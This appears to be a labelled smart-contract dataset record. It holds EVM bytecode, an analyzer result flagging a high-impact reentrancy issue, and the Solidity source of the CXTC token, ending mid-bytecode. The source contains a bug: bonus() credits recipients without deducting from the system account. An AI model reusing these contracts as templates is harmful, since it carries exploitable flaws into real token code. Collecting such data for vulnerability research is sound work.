080fd5b505af1158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906116cd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610425338484610caa565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161045990611932565b60005b815181101561091e576001600660008484815181106108da576108da611a79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091681611a48565b9150506108b9565b5050565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161045990611932565b6000610957306105aa565b9050610477816110b2565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161045990611932565b600e546109ac9030906001600160a01b0316670de0b6b3a7640000610b86565b600e546001600160a01b031663f305d71947306109c8816105aa565b6000806109dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4057600080fd5b505af1158015610a54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7991906118af565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af057600080fd5b505af1158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104779190611879565b6000546001600160a01b03163314610b525760405162461bcd60e51b815260040161045990611932565b600b55565b6000546001600160a01b03163314610b815760405162461bcd60e51b815260040161045990611932565b600c55565b6001600160a01b038316610be85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610459565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610459565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610459565b6001600160a01b038216610d705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610459565b60008111610dd25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610459565b6001600160a01b03831660009081526006602052604090205460ff1615610df857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e3a57506001600160a01b03821660009081526005602052604090205460ff16155b15610faa576000600955600c54600a55600f546001600160a01b038481169116148015610e755750600e546001600160a01b03838116911614155b8015610e9a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610eaf5750600f54600160b81b900460ff165b15610edc576000610ebf836105aa565b601054909150610ecf838361123b565b1115610eda57600080fd5b505b600f546001600160a01b038381169116148015610f075750600e546001600160a01b03848116911614155b8015610f2c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f3d576000600955600b54600a555b6000610f48306105aa565b600f54909150600160a81b900460ff16158015610f735750600f546001600160a01b03858116911614155b8015610f885750600f54600160b01b900460ff165b15610fa857610f96816110b2565b478015610fa657610fa647610ff4565b505b505b610fb583838361129a565b505050565b60008184841115610fde5760405162461bcd60e51b815260040161045991906118dd565b506000610feb8486611a31565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091e573d6000803e3d6000fd5b60006007548211156110955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610459565b600061109f6112a5565b90506110ab83826112c8565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa611a79565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118691906116cd565b8160018151811061119957611199611a79565b6001600160a01b039283166020918202929092010152600e546111bf9130911684610b86565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611967565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124883856119d8565b9050838110156110ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610459565b610fb583838361130a565b60008060006112b2611401565b90925090506112c182826112c8565b9250505090565b60006110ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611441565b60008060008060008061131c8761146f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134e90876114cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461137d908661123b565b6001600160a01b03891660009081526002602052604090205561139f8161150e565b6113a98483611558565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ee91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061141c82826112c8565b82101561143857505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114625760405162461bcd60e51b815260040161045991906118dd565b506000610feb84866119f0565b600080600080600080600080600061148c8a600954600a5461157c565b925092509250600061149c6112a5565b905060008060006114af8e8787876115d1565b919e509c509a509598509396509194505050505091939550919395565b60006110ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fba565b60006115186112a5565b905060006115268383611621565b30600090815260026020526040902054909150611543908261123b565b30600090815260026020526040902055505050565b60075461156590836114cc565b600755600854611575908261123b565b6008555050565b600080808061159660646115908989611621565b906112c8565b905060006115a960646115908a89611621565b905060006115c1826115bb8b866114cc565b906114cc565b9992985090965090945050505050565b60008080806115e08886611621565b905060006115ee8887611621565b905060006115fc8888611621565b9050600061160e826115bb86866114cc565b939b939a50919850919650505050505050565b60008261163057506000610429565b600061163c8385611a12565b90508261164985836119f0565b146110ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610459565b80356116ab81611aa5565b919050565b6000602082840312156116c257600080fd5b81356110ab81611aa5565b6000602082840312156116df57600080fd5b81516110ab81611aa5565b600080604083850312156116fd57600080fd5b823561170881611aa5565b9150602083013561171881611aa5565b809150509250929050565b60008060006060848603121561173857600080fd5b833561174381611aa5565b9250602084013561175381611aa5565b929592945050506040919091013590565b6000806040838503121561177757600080fd5b823561178281611aa5565b946020939093013593505050565b600060208083850312156117a357600080fd5b823567ffffffffffffffff808211156117bb57600080fd5b818501915085601f8301126117cf57600080fd5b8135818111156117e1576117e1611a8f565b8060051b604051601f19603f8301168101818110858211171561180657611806611a8f565b604052828152858101935084860182860187018a101561182557600080fd5b600095505b8386101561184f5761183b816116a0565b85526001959095019493860193860161182a565b5098975050505050505050565b60006020828403121561186e57600080fd5b81356110ab81611aba565b60006020828403121561188b57600080fd5b81516110ab81611aba565b6000602082840312156118a857600080fd5b5035919050565b6000806000606084860312156118c457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561190a578581018301518582016040015282016118ee565b8181111561191c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b75784516001600160a01b031683529383019391830191600101611992565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119eb576119eb611a63565b500190565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2c57611a2c611a63565b500290565b600082821015611a4357611a43611a63565b500390565b6000600019821415611a5c57611a5c611a63565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047757600080fd5b801515811461047757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a4768bd1d1ef3d8bf99a3cef6aa201f3f0254a4dd4a5a4df42be31f1c94f30564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
282
0x014b5dc46658699e2af828c11bc5fe786edebaaa
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; // mapping(address => uint256) balances; mapping(address => uint256) freeBalances; mapping(address => uint256) frozenBalances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= freeBalances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. freeBalances[msg.sender] = freeBalances[msg.sender].sub(_value); freeBalances[_to] = freeBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return freeBalances[_owner] + frozenBalances[_owner]; } function freeBalanceOf(address _owner) public view returns (uint256 balance) { return freeBalances[_owner]; } function frozenBalanceOf(address _owner) public view returns (uint256 balance) { return frozenBalances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= freeBalances[_from]); require(_value <= allowed[_from][msg.sender]); freeBalances[_from] = freeBalances[_from].sub(_value); freeBalances[_to] = freeBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title CXTCToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract CXTCContract is StandardToken { string public constant name = "Culture eXchange Token Chain"; // solium-disable-line uppercase string public constant symbol = "CXTC"; // solium-disable-line uppercase uint8 public constant decimals = 8; // solium-disable-line uppercase uint256 public constant freeSupply = 21000000 * (10 ** uint256(decimals)); // 10%自由量 uint256 public constant frozenSupply = 189000000 * (10 ** uint256(decimals)); // 90%冻结量 address public systemAcc; // charge fee address[] parterAcc; uint256 internal fee; struct ArtInfo { string idtReport; string evtReport; string escReport; string regReport; } mapping (string => ArtInfo) internal artInfos; mapping (address => mapping (uint256 => uint256)) internal freezeRecord; event Freeze(address indexed _addr, uint256 indexed _amount, uint256 _timestamp); event Release(address indexed _addr, uint256 indexed _amount); event SetParter(address indexed _addr, uint256 indexed _amount); event SetFoundAcc(address indexed _addr); event NewArt(string indexed _id); event SetArtIdt(string indexed _id, string indexed _idtReport); event SetArtEvt(string indexed _id, string indexed _evtReport); event SetArtEsc(string indexed _id, string indexed _escReport); event SetArtReg(string indexed _id, string indexed _regReport); event SetFee(uint256 indexed _fee); /** * @dev Constructor */ function CXTCContract() public { owner = msg.sender; totalSupply_ = freeSupply + frozenSupply; freeBalances[owner] = freeSupply; frozenBalances[owner] = frozenSupply; } /** * init parter */ function setParter(address _parter, uint256 _amount) public onlyOwner { //require(_amount == 210000); require(parterAcc.length <= 49); parterAcc.push(_parter); frozenBalances[_parter] = _amount; SetParter(_parter, _amount); } /** * set systemAccount */ function setFoundAcc(address _sysAcc) public onlyOwner returns (bool) { systemAcc = _sysAcc; SetFoundAcc(_sysAcc); return true; } /** * set fee */ function setFee(uint256 _fee) public onlyOwner returns (bool) { fee = _fee; SetFee(_fee); return true; } /** * new art hash info */ function newArt(string _id, string _regReport) public onlyOwner returns (bool) { ArtInfo memory info = ArtInfo({idtReport: "", evtReport: "", escReport: "", regReport: _regReport}); artInfos[_id] = info; NewArt(_id); return true; } /** * get artInfo */ function getArt(string _id) public view returns (string, string, string, string) { ArtInfo memory info = artInfos[_id]; return (info.regReport, info.idtReport, info.evtReport, info.escReport); } /** * set art idtReport */ function setArtIdt(string _id, string _idtReport) public onlyOwner returns (bool) { string idtReport = artInfos[_id].idtReport; bytes memory idtReportLen = bytes(idtReport); if (idtReportLen.length == 0){ artInfos[_id].idtReport = _idtReport; SetArtIdt(_id, _idtReport); return true; } else { return false; } } /** * set art evtReport */ function setArtEvt(string _id, string _evtReport) public onlyOwner returns (bool) { string evtReport = artInfos[_id].evtReport; bytes memory evtReportLen = bytes(evtReport); if (evtReportLen.length == 0){ artInfos[_id].evtReport = _evtReport; SetArtEvt(_id, _evtReport); return true; } else { return false; } } /** * set art escrow report */ function setArtEsc(string _id, string _escReport) public onlyOwner returns (bool) { string escReport = artInfos[_id].escReport; bytes memory escReportLen = bytes(escReport); if (escReportLen.length == 0){ artInfos[_id].escReport = _escReport; SetArtEsc(_id, _escReport); return true; } else { return false; } } /** * distribute art coin to user. */ function issue(address _addr, uint256 _amount, uint256 _timestamp) public onlyOwner returns (bool) { // 2018/03/23 = 1521734400 require(frozenBalances[owner] >= _amount); frozenBalances[owner] = frozenBalances[owner].sub(_amount); frozenBalances[_addr]= frozenBalances[_addr].add(_amount); freezeRecord[_addr][_timestamp] = freezeRecord[_addr][_timestamp].add(_amount); Freeze(_addr, _amount, _timestamp); return true; } /** * charge fee */ function charge(address _to, uint256 _amount, uint256 _timestamp) internal returns (bool) { require(freeBalances[msg.sender] >= _amount); require(_amount >= fee); require(_to != address(0)); uint256 toAmt = _amount.sub(fee); freeBalances[msg.sender] = freeBalances[msg.sender].sub(_amount); freeBalances[_to] = freeBalances[_to].add(toAmt); // systemAcc frozenBalances[systemAcc] = frozenBalances[systemAcc].add(fee); freezeRecord[systemAcc][_timestamp] = freezeRecord[systemAcc][_timestamp].add(fee); Transfer(msg.sender, _to, toAmt); Freeze(_to, fee, _timestamp); return true; } /** * user freeze free balance */ function freeze(uint256 _amount, uint256 _timestamp) public whenNotPaused returns (bool) { require(freeBalances[msg.sender] >= _amount); freeBalances[msg.sender] = freeBalances[msg.sender].sub(_amount); frozenBalances[msg.sender] = frozenBalances[msg.sender].add(_amount); freezeRecord[msg.sender][_timestamp] = freezeRecord[msg.sender][_timestamp].add(_amount); Freeze(msg.sender, _amount, _timestamp); return true; } /** * auto release */ function release(address[] _addressLst, uint256[] _amountLst) public onlyOwner returns (bool) { require(_addressLst.length == _amountLst.length); for(uint i = 0; i < _addressLst.length; i++) { freeBalances[_addressLst[i]] = freeBalances[_addressLst[i]].add(_amountLst[i]); frozenBalances[_addressLst[i]] = frozenBalances[_addressLst[i]].sub(_amountLst[i]); Release(_addressLst[i], _amountLst[i]); } return true; } /** * bonus shares */ function bonus(uint256 _sum, address[] _addressLst, uint256[] _amountLst) public onlyOwner returns (bool) { require(freeBalances[systemAcc] >= _sum); require(_addressLst.length == _amountLst.length); for(uint i = 0; i < _addressLst.length; i++) { freeBalances[_addressLst[i]] = freeBalances[_addressLst[i]].add(_amountLst[i]); Transfer(systemAcc, _addressLst[i], _amountLst[i]); } freeBalances[systemAcc].sub(_sum); return true; } }
0x6060604052600436106101a05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a5578063095ea7b31461022f5780630d9b71cc1461026557806318160ddd1461028957806323b872dd146102ae57806324a6ab0c146102d6578063313ce567146102e957806335d7a052146103125780633b2269cf1461032b5780633f4ba83a1461035a5780634496f1831461036d578063543e9954146103fc5780635c975abb1461041b578063661884631461042e57806369fe0e2d146104505780636be343cc146104665780636e6b4bed1461048557806370a08231146106895780637783c06b146106a85780638456cb591461073b5780638da5cb5b1461074e57806391c203751461076157806395d89b41146107f4578063a9059cbb14610807578063b47dd31814610829578063be91de53146108bd578063c7be7ae3146108dc578063d02d518d146108ef578063d73dd62314610982578063d813b4b9146109a4578063dd62ed3e14610a37578063dfe5ef4814610a5c578063f2fde38b14610a81575b600080fd5b34156101b057600080fd5b6101b8610aa0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101f45780820151838201526020016101dc565b50505050905090810190601f1680156102215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023a57600080fd5b610251600160a060020a0360043516602435610ad7565b604051901515815260200160405180910390f35b341561027057600080fd5b610287600160a060020a0360043516602435610b58565b005b341561029457600080fd5b61029c610c10565b60405190815260200160405180910390f35b34156102b957600080fd5b610251600160a060020a0360043581169060243516604435610c17565b34156102e157600080fd5b61029c610daf565b34156102f457600080fd5b6102fc610dba565b60405160ff909116815260200160405180910390f35b341561031d57600080fd5b610251600435602435610dbf565b341561033657600080fd5b61033e610eff565b604051600160a060020a03909116815260200160405180910390f35b341561036557600080fd5b610287610f0e565b341561037857600080fd5b610251600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610f8d95505050505050565b341561040757600080fd5b61029c600160a060020a0360043516611153565b341561042657600080fd5b61025161116e565b341561043957600080fd5b610251600160a060020a036004351660243561117e565b341561045b57600080fd5b610251600435611291565b341561047157600080fd5b610251600160a060020a03600435166112e6565b341561049057600080fd5b6104d660046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061136195505050505050565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019080838360005b8381101561051f578082015183820152602001610507565b50505050905090810190601f16801561054c5780820380516001836020036101000a031916815260200191505b50858103845288818151815260200191508051906020019080838360005b8381101561058257808201518382015260200161056a565b50505050905090810190601f1680156105af5780820380516001836020036101000a031916815260200191505b50858103835287818151815260200191508051906020019080838360005b838110156105e55780820151838201526020016105cd565b50505050905090810190601f1680156106125780820380516001836020036101000a031916815260200191505b50858103825286818151815260200191508051906020019080838360005b83811015610648578082015183820152602001610630565b50505050905090810190601f1680156106755780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b341561069457600080fd5b61029c600160a060020a03600435166116a5565b34156106b357600080fd5b61025160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506116cd95505050505050565b341561074657600080fd5b6102876118a8565b341561075957600080fd5b61033e61192c565b341561076c57600080fd5b61025160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061193b95505050505050565b34156107ff57600080fd5b6101b8611be4565b341561081257600080fd5b610251600160a060020a0360043516602435611c1b565b341561083457600080fd5b6102516004803590604460248035908101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650611d1695505050505050565b34156108c857600080fd5b61029c600160a060020a0360043516611e67565b34156108e757600080fd5b61029c611e82565b34156108fa57600080fd5b61025160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611e8d95505050505050565b341561098d57600080fd5b610251600160a060020a0360043516602435612129565b34156109af57600080fd5b61025160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506121e395505050505050565b3415610a4257600080fd5b61029c600160a060020a036004358116906024351661247d565b3415610a6757600080fd5b610251600160a060020a03600435166024356044356124a8565b3415610a8c57600080fd5b610287600160a060020a03600435166125ed565b60408051908101604052601c81527f43756c747572652065586368616e676520546f6b656e20436861696e00000000602082015281565b6000805460a060020a900460ff1615610aef57600080fd5b600160a060020a03338116600081815260046020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610b7357600080fd5b6006546031901115610b8457600080fd5b6006805460018101610b9683826126b0565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038616908117909155808352600290915260409182902083905582917f0964cb3cb91f38ae015ef2db02ed9bc8b27c9e38c779763cbc23f871139df539905160405180910390a35050565b6003545b90565b6000805460a060020a900460ff1615610c2f57600080fd5b600160a060020a0383161515610c4457600080fd5b600160a060020a038416600090815260016020526040902054821115610c6957600080fd5b600160a060020a0380851660009081526004602090815260408083203390941683529290522054821115610c9c57600080fd5b600160a060020a038416600090815260016020526040902054610cc5908363ffffffff61268816565b600160a060020a038086166000908152600160205260408082209390935590851681522054610cfa908363ffffffff61269a16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260048152838220339093168252919091522054610d42908363ffffffff61268816565b600160a060020a03808616600081815260046020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b660775f05a07400081565b600881565b6000805460a060020a900460ff1615610dd757600080fd5b600160a060020a03331660009081526001602052604090205483901015610dfd57600080fd5b600160a060020a033316600090815260016020526040902054610e26908463ffffffff61268816565b600160a060020a033316600090815260016020908152604080832093909355600290522054610e5b908463ffffffff61269a16565b600160a060020a0333166000908152600260209081526040808320939093556009815282822085835290522054610e98908463ffffffff61269a16565b600160a060020a0333166000818152600960209081526040808320878452909152908190209290925584917f029d06ff78b8c68fca5225af637c626c0176c9fcaa163beec8e558d4c3ae65b69085905190815260200160405180910390a350600192915050565b600554600160a060020a031681565b60005433600160a060020a03908116911614610f2957600080fd5b60005460a060020a900460ff161515610f4157600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008054819033600160a060020a03908116911614610fab57600080fd5b8251845114610fb957600080fd5b5060005b83518110156111495761101f838281518110610fd557fe5b9060200190602002015160016000878581518110610fef57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61269a16565b6001600086848151811061102f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556110ac83828151811061106257fe5b906020019060200201516002600087858151811061107c57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61268816565b600260008684815181106110bc57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558281815181106110ec57fe5b9060200190602002015184828151811061110257fe5b90602001906020020151600160a060020a03167ff6334794522b9db534a812aaae1af828a2e96aac68473b58e36d7d0bfd67477b60405160405180910390a3600101610fbd565b5060019392505050565b600160a060020a031660009081526001602052604090205490565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff161561119857600080fd5b50600160a060020a03338116600090815260046020908152604080832093871683529290522054808311156111f457600160a060020a03338116600090815260046020908152604080832093881683529290529081205561122b565b611204818463ffffffff61268816565b600160a060020a033381166000908152600460209081526040808320938916835292905220555b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000805433600160a060020a039081169116146112ad57600080fd5b6007829055817e172ddfc5ae88d08b3de01a5a187667c37a5a53989e8c175055cb6c993792a760405160405180910390a2506001919050565b6000805433600160a060020a0390811691161461130257600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384169081179091557f63aebe1c47952bfa5fa57475aca0dcafcebc8537cf811618315ea9a4cd892ce860405160405180910390a2506001919050565b6113696126d9565b6113716126d9565b6113796126d9565b6113816126d9565b6113896126eb565b6008866040518082805190602001908083835b602083106113bb5780518252601f19909201916020918201910161139c565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060806040519081016040529081600082018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114935780601f1061146857610100808354040283529160200191611493565b820191906000526020600020905b81548152906001019060200180831161147657829003601f168201915b50505050508152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115355780601f1061150a57610100808354040283529160200191611535565b820191906000526020600020905b81548152906001019060200180831161151857829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115d75780601f106115ac576101008083540402835291602001916115d7565b820191906000526020600020905b8154815290600101906020018083116115ba57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116795780601f1061164e57610100808354040283529160200191611679565b820191906000526020600020905b81548152906001019060200180831161